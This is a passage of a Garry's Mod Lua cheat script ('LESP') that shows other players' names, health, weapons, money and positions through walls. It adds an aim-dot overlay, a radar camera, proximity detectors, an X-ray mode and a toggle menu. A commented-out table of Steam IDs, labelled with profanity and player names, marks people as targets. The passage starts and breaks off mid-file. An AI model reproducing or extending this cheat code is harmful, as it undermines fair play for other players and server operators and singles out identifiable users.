- local LESPMirrorx = CreateClientConVar( "lix_lesp_mirrorx", 0, true, false )
- local LESPMirrory = CreateClientConVar( "lix_lesp_mirrory", 0, true, false )
- local LESPMirrorw = CreateClientConVar( "lix_lesp_mirrorw", 300, true, false )
- local LESPMirrorh = CreateClientConVar( "lix_lesp_mirrorh", 300, true, false )
- local LESPMirrorpitch = CreateClientConVar( "lix_lesp_mirrorpitch", -2, true, false )
- local LESPMirroryaw = CreateClientConVar( "lix_lesp_mirroryaw", 180, true, false )
- local LESPMirrorroll = CreateClientConVar( "lix_lesp_mirrorroll", 0, true, false )
- local LESPRadar = CreateClientConVar( "lix_lesp_radar", 0, true, false )
- local LESPRadarx = CreateClientConVar( "lix_lesp_radarx", 0, true, false )
- local LESPRadary = CreateClientConVar( "lix_lesp_radary", 0, true, false )
- local LESPRadarw = CreateClientConVar( "lix_lesp_radarw", 300, true, false )
- local LESPRadarh = CreateClientConVar( "lix_lesp_radarh", 300, true, false )
- local LESPRadarfov = CreateClientConVar( "lix_lesp_radarfov", 300, true, false )
- local LESPRadarauto = CreateClientConVar( "lix_lesp_radarauto", 1, true, false )
- local LESPAimdot = CreateClientConVar( "lix_lesp_aimdot", 0, true, false )
- local LESPAimdotfilt = CreateClientConVar( "lix_lesp_aimdotfilter", 1, true, false )
- local LESPLight = false
- local LESPAura = false
- local LESPToggleCommands = {}
- local LESPVoteTime = CreateClientConVar( "lix_lesp_votetime", 120, true, false )
- local LESPVoteVoted = {}
- local LESPVoteVotes = {}
- local LESPVoteType = 0
- local LESPDetects = {}
- local LESPDetected = {}
- local LESPDetectShow = CreateClientConVar( "lix_lesp_detectshow", 1, true, false )
- local LESPDetectShowRad = CreateClientConVar( "lix_lesp_detectshowrad", 0, true, false )
- local LESPDetectThreshold = CreateClientConVar( "lix_lesp_detectthresh", 100, true, false )
- local LESPDetectTrace = CreateClientConVar( "lix_lesp_detecttrace", 0, true, false )
- local LESPXRay = false
- local LESPXRayMat = CreateClientConVar( "lix_lesp_xraymat", "xraysolid", true, false )
- local LESPXRayColors = {}
- local LESPXRayMats = {}
- local LESPReverseChat = CreateClientConVar( "lix_lesp_chatreverse", 0, true, false )
- local LESPCambChat = CreateClientConVar( "lix_lesp_chatcambridge", 0, true, false )
- local LESPByteChat = CreateClientConVar( "lix_lesp_chatbyte", 0, true, false )
- --Anubis--Plex--Shadow--Mike--Ultra--Higgenz--Ultra Alt--Sly--Sly Alt--Mike's Brother--Tpopz-
- /*local fuck_these_guys_hard = {"STEAM_0:1:41760197","STEAM_0:0:17518358","STEAM_0:0:40942351","STEAM_0:1:38706401","STEAM_0:1:53455289","STEAM_0:1:26310034","STEAM_0:1:40527896","STEAM_0:0:20928928","STEAM_0:0:42338999","STEAM_0:1:47311722","STEAM_0:0:38292541","STEAM_0:0:15521306",
- "STEAM_0:0:48684701",
- "STEAM_0:0:59700372"}
- */
- local steamid = LocalPlayer():SteamID()
- -- ENTITY SAVING
- local LESPObjectsConvar = CreateClientConVar( "lix_lesp_objects", "", true, false )
- local LESPObjects = {}
- if LESPObjectsConvar:GetString() ~= "" then
- LESPObjects = string.Explode( "|", LESPObjectsConvar:GetString() )
- end
- -- UTILITY
- local function LESPGetOffset( ply )
- if !IsValid( ply ) then return Vector( 0, 0, 0 ) end
- if !ply:GetAttachment( ply:LookupAttachment( "eyes" ) ) then
- return ply:GetShootPos():ToScreen()
- else
- return ply:GetAttachment( ply:LookupAttachment( "eyes" ) ).Pos:ToScreen()
- end
- end
- local function LESPSay( text )
- if string.len( LESPSayPrefix:GetString() .. text ) > 125 then
- timer.Simple( 2 * ( LESPSayDelay + 1 ), LESPSay, string.sub( LESPSayPrefix:GetString() .. text, 127 ) )
- end
- timer.Simple( 2 * LESPSayDelay, function()
- LESPSayDelay = LESPSayDelay - 1
- RunConsoleCommand( "say", LESPSayPrefix:GetString() .. text )
- end )
- LESPSayDelay = LESPSayDelay + 1
- end
- -- MAIN DRAWING
- local function LESPDraw()
- if LESPAimdot:GetInt() > 0 then
- for _, v in pairs( player.GetAll() ) do
- if LESPAimdotfilt:GetInt() > 0 then
- if !util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v:GetEyeTrace().HitPos, filter = LocalPlayer() } ).Hit and v ~= LocalPlayer() then
- local o = v:GetEyeTrace().HitPos:ToScreen()
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
- local col = Color(152, 73, 255)
- surface.SetDrawColor( col.r, col.g, col.b, 255 )
- surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - surface.GetTextSize( v:Nick() ) / 2, o.y + 7, surface.GetTextSize( v:Nick() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - ( surface.GetTextSize( v:Nick() ) ) / 2 + 1, o.y + 6 )
- surface.DrawText( v:Nick() )
- end
- else
- if v ~= LocalPlayer() then
- local o = v:GetEyeTrace().HitPos:ToScreen()
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
- local col = Color(152, 73, 255, 0)
- surface.SetDrawColor( col.r, col.g, col.b, 255 )
- surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - surface.GetTextSize( v:Nick() ) / 2, o.y + 7, surface.GetTextSize( v:Nick() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - ( surface.GetTextSize( v:Nick() ) ) / 2 + 1, o.y + 6 )
- surface.DrawText( v:Nick() )
- end
- end
- end
- end
- if LESPOn:GetInt() > 0 then
- for _, v in pairs( LESPObjects ) do
- if v ~= "" then
- for k, b in pairs( ents.GetAll() ) do
- if string.find( string.lower( b:GetClass() ), string.lower( v ) ) then
- local o = b:GetPos():ToScreen()
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 6, o.y - 6, 12, 12 )
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.DrawRect( o.x - 5, o.y - 5, 10, 10 )
- surface.SetFont( "Default" )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.DrawRect( o.x + 12, o.y - 6, surface.GetTextSize( b:GetClass() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x + 13, o.y - 7 )
- surface.DrawText( b:GetClass() )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - 6, o.y - 19, surface.GetTextSize( "D: " .. math.floor( b:GetPos():Distance( LocalPlayer():GetPos() ) ) ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - 5, o.y - 20 )
- surface.DrawText( "D: " .. math.floor( b:GetPos():Distance( LocalPlayer():GetPos() ) ) )
- end
- end
- end
- end
- for _, v in pairs( player.GetAll() ) do
- if v:Alive() and v ~= LocalPlayer() then
- local o = LESPGetOffset( v )
- if v:GetPos():Distance( LocalPlayer():GetPos() ) < 500 then
- o.y = o.y - ( 100 - v:GetPos():Distance( LocalPlayer():GetPos() ) / 5 )
- end
- local color = Color(152, 73, 255)
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 6, o.y - 6, 12, 12 )
- surface.SetDrawColor( 152, 73, 255 )
- if v:IsSuperAdmin() then
- surface.SetDrawColor( 152, 73, 255 )
- elseif v:IsAdmin() then
- surface.SetDrawColor(255, 81, 81)
- end
- surface.DrawRect( o.x - 5, o.y - 5, 10, 10 )
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 3, o.y - 3, 6, 6 )
- surface.SetDrawColor( color.r, color.g, color.b, 255 )
- surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
- surface.SetFont( "Default" )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.DrawRect( o.x + 12, o.y - 6, surface.GetTextSize( v:Nick() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x + 13, o.y - 7 )
- surface.DrawText( v:Nick() )
- if LESPDistance:GetInt() > 0 then
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - 6, o.y - 19, surface.GetTextSize( "D: " .. math.floor( v:GetPos():Distance( LocalPlayer():GetPos() ) ) ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - 5, o.y - 20 )
- surface.DrawText( "" .. math.floor( v:GetPos():Distance( LocalPlayer():GetPos() ) ) )
- end
- if LESPHealth:GetInt() > 0 then
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - 6, o.y + 7, surface.GetTextSize( "HP: " .. v:Health() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - 5, o.y + 6 )
- surface.DrawText( "HP: " .. v:Health() )
- end
- if LESPMoney:GetInt() > 0 and v:GetNetworkedInt( "Money" ) ~= 0 then
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- local add = 19
- if LESPDistance:GetInt() > 0 then add = 32 end
- surface.DrawRect( o.x - 6, o.y - add, surface.GetTextSize( "$: " .. v:GetNWInt( "Money" ) ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - 5, o.y - add - 1 )
- surface.DrawText( "$: " .. v:DarkRPVars( "money" ) )
- end
- if LESPWeapon:GetInt() > 0 and v:GetActiveWeapon():IsValid() then
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- local add = 6
- if LESPHealth:GetInt() > 0 then add = 19 end
- surface.DrawRect( o.x - 6, o.y + add + 1, surface.GetTextSize( v:GetActiveWeapon():GetPrintName() ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - 5, o.y + add )
- surface.DrawText( v:GetActiveWeapon():GetPrintName() )
- end
- end
- end
- end
- if LESPMirror:GetInt() > 0 then
- local pitch = LESPMirrorpitch:GetInt()
- if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
- local yaw = LESPMirroryaw:GetInt()
- if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
- local roll = LESPMirrorroll:GetInt()
- if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
- local Cam = {}
- Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch, LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
- Cam.origin = LocalPlayer():GetShootPos()
- Cam.x = LESPMirrorx:GetInt()
- Cam.y = LESPMirrory:GetInt()
- Cam.w = LESPMirrorw:GetInt()
- Cam.h = LESPMirrorh:GetInt()
- render.RenderView( Cam )
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawOutlinedRect( LESPMirrorx:GetInt(), LESPMirrory:GetInt(), LESPMirrorw:GetInt(),LESPMirrorh:GetInt() )
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
- end
- if LESPRadar:GetInt() > 0 then
- local Cam = {}
- Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
- local Zvar = LESPRadarfov:GetInt()
- if LESPRadarauto:GetInt() > 0 then
- local trace = {}
- trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
- trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, LESPRadarfov:GetInt() )
- trace.filter = LocalPlayer()
- if util.TraceLine( trace ).Hit then
- Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
- end
- end
- Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
- Cam.x = LESPRadarx:GetInt()
- Cam.y = LESPRadary:GetInt()
- Cam.w = LESPRadarw:GetInt()
- Cam.h = LESPRadarh:GetInt()
- render.RenderView( Cam )
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawOutlinedRect( LESPRadarx:GetInt(), LESPRadary:GetInt(), LESPRadarw:GetInt(),LESPRadarh:GetInt() )
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
- end
- for k, v in pairs( LESPDetects ) do
- if LESPDetectShow:GetInt() > 0 then
- local o = v:ToScreen()
- surface.SetDrawColor( 0, 0, 0, 255 )
- surface.DrawRect( o.x - 2, o.y - 2, 4, 4 )
- surface.SetDrawColor( 200, 50, 50, 255 )
- surface.DrawRect( o.x - 1, o.y - 1, 2, 2 )
- surface.SetDrawColor( 0, 0, 0, 50 )
- surface.SetFont( "Default" )
- surface.DrawRect( o.x - surface.GetTextSize( "DET " .. k ) / 2, o.y + 7, surface.GetTextSize( "DET " .. k ) + 2, 12 )
- surface.SetTextColor( 255, 255, 255, 255 )
- surface.SetTextPos( o.x - ( surface.GetTextSize( "DET " .. k ) ) / 2 + 1, o.y + 6 )
- surface.DrawText( "Détecteur " .. k )
- if LESPDetectShowRad:GetInt() > 0 then
- for i = 1, 6 do
- local o = ( v + Vector( math.sin( i * 1 ) * LESPDetectThreshold:GetInt(), math.cos( i * 1 ) * LESPDetectThreshold:GetInt(), 0 ) ):ToScreen()
- local o2 = ( v + Vector( math.sin( ( i + 1 ) * 1 ) * LESPDetectThreshold:GetInt(), math.cos( ( i + 1 ) * 1 ) * LESPDetectThreshold:GetInt(), 0 ) ):ToScreen()
- surface.SetDrawColor( 255, 0, 0, 255 )
- surface.DrawLine( o.x, o.y, o2.x, o2.y )
- end
- end
- end
- end
- end
- hook.Add( "HUDPaint", "LESP", LESPDraw )
- local function LESPThink()
- if LESPLight then
- local light = DynamicLight( LocalPlayer():UserID() )
- if light then
- light.Pos = LocalPlayer():GetEyeTrace().HitPos
- light.r = 255
- light.g = 255
- light.b = 255
- light.Brightness = 10
- light.Size = 800
- light.Decay = 0
- light.DieTime = CurTime() + 0.2
- end
- end
- if LESPAura then
- local light = DynamicLight( LocalPlayer():UserID() )
- if light then
- light.Pos = LocalPlayer():GetPos()
- light.r = 255
- light.g = 255
- light.b = 255
- light.Brightness = 10
- light.Size = 800
- light.Decay = 0
- light.DieTime = CurTime() + 0.2
- end
- end
- for k, v in pairs( LESPDetects ) do
- for b, n in pairs( player.GetAll() ) do
- if LESPDetectTrace:GetInt() > 0 then
- if n:GetPos():Distance( v ) < LESPDetectThreshold:GetInt() and !util.TraceLine( { start = v + Vector( 0, 0, 5 ), endpos = n:GetPos() } ).Hit and LESPDetected[ n:UniqueID() ] ~= true then
- chat.AddText( "Détecteur " .. k .. " à détecter " .. n:Nick() )
- LESPDetected[ n:UniqueID() ] = true
- elseif n:GetPos():Distance( v ) > LESPDetectThreshold:GetInt() then
- LESPDetected[ n:UniqueID() ] = false
- end
- else
- if n:GetPos():Distance( v ) < LESPDetectThreshold:GetInt() and LESPDetected[ n:UniqueID() ] ~= true then
- chat.AddText( "Détecteur " .. k .. " à détecter " .. n:Nick() )
- LESPDetected[ n:UniqueID() ] = true
- elseif n:GetPos():Distance( v ) > LESPDetectThreshold:GetInt() then
- LESPDetected[ n:UniqueID() ] = false
- end
- end
- end
- end
- end
- hook.Add( "Think", "LESP", LESPThink )
- local function LESPDetectAdd()
- table.insert( LESPDetects, LocalPlayer():GetPos() )
- end
- local function LESPDetectRemove()
- if #LESPDetects > 0 then
- local best = 99999
- local var = 0
- for k, v in pairs( LESPDetects ) do
- if v:Distance( LocalPlayer():GetPos() ) < best then
- best = v:Distance( LocalPlayer():GetPos() )
- var = k
- end
- end
- table.remove( LESPDetects, var )
- end
- end
- concommand.Add( "lix_lesp_detectadd", LESPDetectAdd )
- concommand.Add( "lix_lesp_detectremove", LESPDetectRemove )
- local function LESPRenderScene()
- if LESPXRay == false then return end
- for _, v in pairs( ents.FindByClass( "prop_physics" ) ) do
- if IsValid( v ) then
- v:SetColor( 150, 0, 255, 255 )-- <------ Change that color if you like too.
- v:SetMaterial( LESPXRayMat:GetString() )
- end
- end
- for _, v in pairs( player.GetAll() ) do
- if IsValid( v ) then
- v:SetColor( 152, 73, 255, 255 )
- v:SetMaterial( LESPXRayMat:GetString() )
- end
- end
- end
- hook.Add( "RenderScene", "LESP", LESPRenderScene )
- -- The sound used to indicate prop speed
- util.PrecacheSound("Canals.d1_canals_01_combine_shield_touch_loop1")
- -- Speed up the vars!
- local ents = ents
- local GetConVarNumber = GetConVarNumber
- local GetGlobalInt = GetGlobalInt
- local hook = hook
- local LocalPlayer = LocalPlayer
- local math = math
- local pairs = pairs
- local player = player
- local render = render
- local RunConsoleCommand = RunConsoleCommand
- local string = string
- local surface = surface
- local table = table
- local timer = timer
- local type = type
- local util = util
- local IsValid = IsValid
- local _R = debug.getregistry()
- local SetColor = _R.Entity.SetColor
- local GetColor = _R.Entity.GetColor
- local SetMat = _R.Entity.SetMaterial
- local GetMat = _R.Entity.GetMaterial
- local GetClass = _R.Entity.GetClass
- local GetRagdollEntity = _R.Player.GetRagdollEntity
- local SetNoDraw = _R.Entity.SetNoDraw
- local GetVelocity = _R.Entity.GetVelocity
- local VelLength = _R.Vector.Length
- -- XRay variables!
- local RayOn = false -- Xray toggle variable
- local entityMaterials = {}
- local entityColors = {}
- local VIEWMODEL = NULL
- local NoDraws = {"cluaeffect",
- "fog",
- "waterlodcontrol",
- "clientragdoll",
- "envtonemapcontroller",
- "entityflame",
- "func_tracktrain",
- "env_sprite",
- "prop_effect",
- "class c_sun",
- "class C_ClientRagdoll",
- "class C_BaseAnimating",
- "clientside",
- "illusionary",
- "shadowcontrol",
- "keyframe",
- "wind",
- "gmod_wire_hologram",
- "effect",
- "stasisshield",
- "shadertest",
- "portalball",
- "portalskydome",
- "cattails"
- }
- -- cvars
- local repmat = CreateClientConVar("falco_xraymaterial", "mat1", true, false)
- local PROPColor = CreateClientConVar("falco_xrayPROPColor", "255,200,0,60", true, false)
- local PROPBGColor = CreateClientConVar("falco_xrayPROPBGColor", "0,204,0,39", true, false)
- local MINEColor = CreateClientConVar("falco_xrayMINEColor", "255,204,255,60", true, false)
- local HOLDINGColor = CreateClientConVar("falco_xrayHOLDINGColor", "0,0,0,40", true, false)
- local MINEBGColor = CreateClientConVar("falco_xrayPROPMINEBGColor", "1,204,1,39", true, false)
- local PLYColor = CreateClientConVar("falco_xrayPLAYERcolor", "255,255,0,100", true, false)
- local cPROPColor = Color(unpack(string.Explode(",", PROPColor:GetString())))
- local cPROPBGColor = Color(unpack(string.Explode(",", PROPBGColor:GetString())))
- local cPROPMINEBGColor = Color(unpack(string.Explode(",", MINEBGColor:GetString())))
- local cPROPHOLDINGColor = Color(unpack(string.Explode(",", HOLDINGColor:GetString())))
- local cMINEColor = Color(unpack(string.Explode(",", MINEColor:GetString())))
- local cPLYColor = Color(unpack(string.Explode(",", PLYColor:GetString())))
- local FRayMat = repmat:GetString()
- local ExecuteFray
- -- Overriding effects!
- local OldEffectFunctions = {}
- OldEffectFunctions.render_AddBeam = render.AddBeam
- OldEffectFunctions.render_DrawSprite = render.DrawSprite
- local OLDUtilEffect = util.Effect
- local EMITTER = FindMetaTable("CLuaEmitter")
- EMITTER.OldAdd = EMITTER.OldAdd or EMITTER.Add
- function EMITTER:Add(...)
- if RayOn then
- local returnal = table.Copy(FindMetaTable("CLuaParticle"))
- for k,v in pairs(returnal or {}) do
- if type(v) == "function" then
- returnal[k] = function() end
- end
- end
- return returnal--override all the functions of this FAKE particle to do nothing
- end
- return self:OldAdd(...)
- end
- function render.AddBeam(...)
- if not RayOn then
- return OldEffectFunctions.render_AddBeam(...)
- end
- end
- function render.DrawSprite(a,b,c,d,e, ...)
- if not RayOn or e then
- OldEffectFunctions.render_DrawSprite(a,b,c,d, ...)
- end
- end
- -- Register babygodded players
- local babygod, bgodtime
- local function RegisterSpawn()
- local Pls = player.GetAll()
- for ply=1, #Pls do
- Health = Pls[ply]:Health()
- if Health < 1 and Pls[ply].Spawned then
- Pls[ply].Spawned = false
- Pls[ply].BabyGod = false
- elseif Health > 0 and not Pls[ply].Spawned then
- Pls[ply].Spawned = true
- Pls[ply].BabyGod = true
- timer.Simple(bgodtime, function()
- if not IsValid(Pls[ply]) then return end
- Pls[ply].BabyGod = false
- if entityColors[Pls[ply]] then entityColors[Pls[ply]] = Color(255,255,255,255) end
- end)
- end
- end
- end
- hook.Add("InitPostEntity", "a", function()
- babygod = tobool(GetConVarNumber("babygod"))
- bgodtime = tonumber(GetConVarNumber("babygodtime"))
- if babygod then
- hook.Add("Think", "FalcoDetectSpawn", RegisterSpawn)
- end
- end)
- local function ToggleFRay(ply, cmd, args)
- FRayMat = repmat:GetString()
- RunConsoleCommand("r_cleardecals")
- -- Turn some annoying things off
- RunConsoleCommand("r_drawparticles", RayOn and 1 or 0)
- //Falco_ForceVar("r_3dsky", RayOn and 1 or 0)
- RunConsoleCommand("r_drawsprites", RayOn and 1 or 0)
- -- Turning xray off
- if RayOn then
- surface.PlaySound("buttons/button19.wav")
- local ENTS = ents.GetAll()
- for v = 1, #ENTS do
- if not IsValid(ENTS[v]) then continue end
- SetMat(ENTS[v], entityMaterials[ENTS[v]])
- local z = entityColors[ENTS[v]]
- if z and type(z) == "table" then
- SetColor(ENTS[v], Color(z.r, z.g, z.b, z.a))
- else
- SetColor(ENTS[v], Color(255,255,255,255))
- end
- for a,b in pairs(NoDraws) do
- local model = ENTS[v]:GetModel() or ""
- if string.find(GetClass(ENTS[v]), b) or string.find(model, b) then -- Hide effects
- SetNoDraw(ENTS[v], false)
- end
- end
- end
- entityColors = {}
- hook.Remove("PostDrawOpaqueRenderables", "falco_xray")
- hook.Remove("OnEntityCreated", "FalcoRayEntityInPVS")
- hook.Remove("PreDrawSkyBox", "removeSkybox")
- util.Effect = OLDUtilEffect
- else
- -- Play a nice sound
- surface.PlaySound("buttons/button1.wav")
- -- Get rid of ropes
- for k,v in pairs(ents.FindByClass("class C_RopeKeyframe")) do
- SetColor(v, Color(0,0,0,0))
- end
- -- and effects
- util.Effect = function() end
- local ENTS = ents.GetAll()
- for v = 1, #ENTS do
- ExecFRayOnce(ENTS[v])
- end
- -- remove the skybox
- hook.Add("PreDrawSkyBox", "removeSkybox", function()
- render.Clear(50, 50, 50, 255)
- return true
- end)
- -- Add the rendering hook
- hook.Add("PostDrawOpaqueRenderables", "falco_xray", ExecuteFray)
- hook.Add("OnEntityCreated", "FalcoRayEntityInPVS", function(ent)
- ExecFRayOnce(ent)
- end)
- end
- RayOn = not RayOn
- end
- concommand.Add("lix_lesp_xray", ToggleFRay)
- function ExecFRayOnce(v)
- if not IsValid(v) then return end
- local color = GetColor(v)
- local r,g,b,a = color.r, color.g, color.b, color.a
- local class = GetClass(v)
- local low = string.lower(class)
- local model = v:GetModel() or ""
- -- Set some entities to not draw
- for _, entname in pairs(NoDraws) do
- if string.find(low, entname) or string.find(model, entname) then
- SetNoDraw(v, true)
- return
- end
- end
- v:SetRenderMode(RENDERMODE_TRANSALPHA)
- if v:IsNPC() and (r ~= 0 or g ~= 0 or b ~= 255 or a ~= 255) then
- entityColors[v] = Color(r,g,b,a)
- SetColor(v, Color(152, 73, 255, 30))
- elseif class == "viewmodel" and (r ~= 0 or g ~= 0 or b ~= 0 or a ~= 30) then
- VIEWMODEL = v
- entityColors[v] = Color(r,g,b,a)
- SetColor(v, Color(0, 0, 0, 30))
- SetMat(v, "mat1")
- elseif string.find(class, "ghost") and a ~= 100 then
- entityColors[v] = Color(r,g,b,a)
- SetColor(v, Color(255,255,255,100))
- elseif (class == "drug_lab" or class == "money_printer") and (r ~= 255 or g ~= 0 or b ~= 100 or a ~= 50) then
- entityColors[v] = Color(r,g,b,a)
- SetColor(v, Color(255, 0, 100, 50))
- elseif class == "prop_physics" or v:IsPlayer() then
- entityColors[v] = Color(r,g,b,a)
- elseif not v:IsPlayer() and not v:IsNPC() and class ~= "prop_physics" and class ~= "prop" and class ~= "drug_lab" and class ~= "money_printer" and class ~= "func_breakable" and class ~= "func_wall" and not v:IsWeapon() and class ~= "viewmodel" and not v.NoXRay and not string.find(class, "ghost") and ( r ~= 255 or g ~= 200 or b ~= 0 or a ~= 100) then
- entityColors[v] = Color(r,g,b,a)
- --SetColor(v, 255, 200, 0, 100)
- SetColor(v, Color(0, 255, 0, 100))
- end
- if class ~= "viewmodel" and GetMat(v) ~= FRayMat and class ~= "func_door" and class ~= "func_door_rotating" and class ~= "prop_door_rotating" and class ~= "func_breakable" and class ~= "func_wall" and not v.NoXRay and not string.find(class, "ghost") then
- entityMaterials[v] = GetMat(v)
- SetMat(v, FRayMat)
- end
- end
- local ScaleNormal = Vector()
- local ScaleOutline1 = Vector()
- local function DrawEntityOutline(ent, size, r, g, b, a)
- --size = size or 1.0
- render.SetBlend(a)
- render.SetColorModulation(r, g, b)
- -- First Outline
- --ent:SetModelScale(ScaleOutline1 * size) -- WARNING: RESIZE LAGS
- --SetMaterialOverride("mat4")
- ent:DrawModel()
- -- Revert everything back to how it should be
- render.MaterialOverride(nil)
- --ent:SetModelScale(ScaleNormal)
- end
- function ExecuteFray()
- if not RayOn then return end
- local PROPS = ents.FindByClass("prop_physics")
- local PLYS = player.GetAll()
- local ang = EyeAngles()
- local eyePos = EyePos()
- cam.Start3D(eyePos, ang)
- for v = 1, #PROPS do
- if IsValid(PROPS[v]) then
- local prop = PROPS[v]
- local IsHolding = LocalPlayer().IsHolding == PROPS[v]
- local r,g,b,a =
- cPROPColor.r,
- cPROPColor.g,
- cPROPColor.b,
- cPROPColor.a
- if PROPS[v].IsMine then
- r, g, b, a = cMINEColor.r, cMINEColor.g, cMINEColor.b, cMINEColor.a or a
- end
- if PROPS[v].IsBreakable and PROPS[v]:IsBreakable() then
- r, g, b = (PROPS[v].IsMine and cMINEColor.r) or 152, 73, 255
- end
- SetColor(PROPS[v], Color(r, g, b, a))
- SetMat(PROPS[v], "mat4")
- if PROPS[v].IsMine then
- local col = IsHolding and cPROPHOLDINGColor or cPROPMINEBGColor
- DrawEntityOutline(PROPS[v], 1.00, col.r/255, col.g/255, col.b/255, col.a/255)
- elseif ang:Forward():Dot(PROPS[v]:GetPos() - eyePos) > 0 then
- DrawEntityOutline(PROPS[v], 1.00, cPROPBGColor.r/255, cPROPBGColor.g/255, cPROPBGColor.b/255, cPROPBGColor.a/255)
- end
- SetMat(PROPS[v], FRayMat)
- end
- end
- for v = 1, #PLYS do
- if IsValid(PLYS[v]) then
- if PLYS[v].BabyGod then
- SetColor(PLYS[v], Color(150,0,255,255))
- if PLYS[v] == LocalPlayer() and IsValid(VIEWMODEL) then
- SetMat(VIEWMODEL, "mat2")
- SetColor(VIEWMODEL, 255,0,0,40)
- end
- else
- if PLYS[v] == LocalPlayer() and IsValid(VIEWMODEL) then
- SetMat(VIEWMODEL, "mat1")
- SetColor(VIEWMODEL, Color(0,0,0,30))
- end
- SetColor(PLYS[v], Color(cPLYColor.r, cPLYColor.g, cPLYColor.b, cPLYColor.a))
- end
- SetMat(PLYS[v], "mat4")
- DrawEntityOutline(PLYS[v], 1.00, 1, 0.2, 0.2, 0.17)
- SetMat(PLYS[v], FRayMat)
- if IsValid(PLYS[v]:GetActiveWeapon()) then
- SetMat(PLYS[v]:GetActiveWeapon(), "mat4")
- DrawEntityOutline(PLYS[v]:GetActiveWeapon(), 1.00, 1, 0.2, 0.2, 0.17)
- end
- end
- if GetRagdollEntity(PLYS[v]) then
- SetNoDraw(GetRagdollEntity(PLYS[v]), true)
- end
- end
- cam.End3D()
- end
- local LESPMenuFrame
- local function LESPMenu()
- gui.EnableScreenClicker( true )
- if !LESPMenuFrame then
- LESPMenuFrame = vgui.Create( "DFrame" )
- LESPMenuFrame:SetSize( 300, 400 )
- LESPMenuFrame:Center()
- LESPMenuFrame:ShowCloseButton( false )
- LESPMenuFrame:SetDraggable( false )
- LESPMenuFrame:SetTitle( "" )
- LESPMenuFrame.Paint = function() end
- local Sheet = vgui.Create( "DPropertySheet", LESPMenuFrame )
- Sheet:SetPos( 0, 0 )
- Sheet:SetSize( 300, 400 )
- -- LESP Config
- local Tab = vgui.Create( "DPanelList" )
- Tab:SetSpacing( 5 )
- Tab:SetPadding( 5 )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Enabled" )
- Control:SetConVar( "lix_lesp_on" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Health" )
- Control:SetConVar( "lix_lesp_health" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Weapon" )
- Control:SetConVar( "lix_lesp_weapon" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Distance" )
- Control:SetConVar( "lix_lesp_distance" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Money" )
- Control:SetConVar( "lix_lesp_money" )
- Tab:AddItem( Control )
- local Control = vgui.Create( "DCheckBoxLabel" )
- Control:SetText( "Show Health" )
- Control:SetConVar( "lix_lesp_health" )
- Tab:AddItem( Control )
- local Objects = vgui.Create( "DListView" )
- Objects:AddColumn( "Targets" )
- Objects:SetSize( 50, 100 )
- Objects:SetMultiSelect( false )
- function Objects:OnClickLine( line )
- line:SetSelected( true )
- for k, v in pairs( LESPObjects ) do
- if v == line:GetValue( 1 ) then
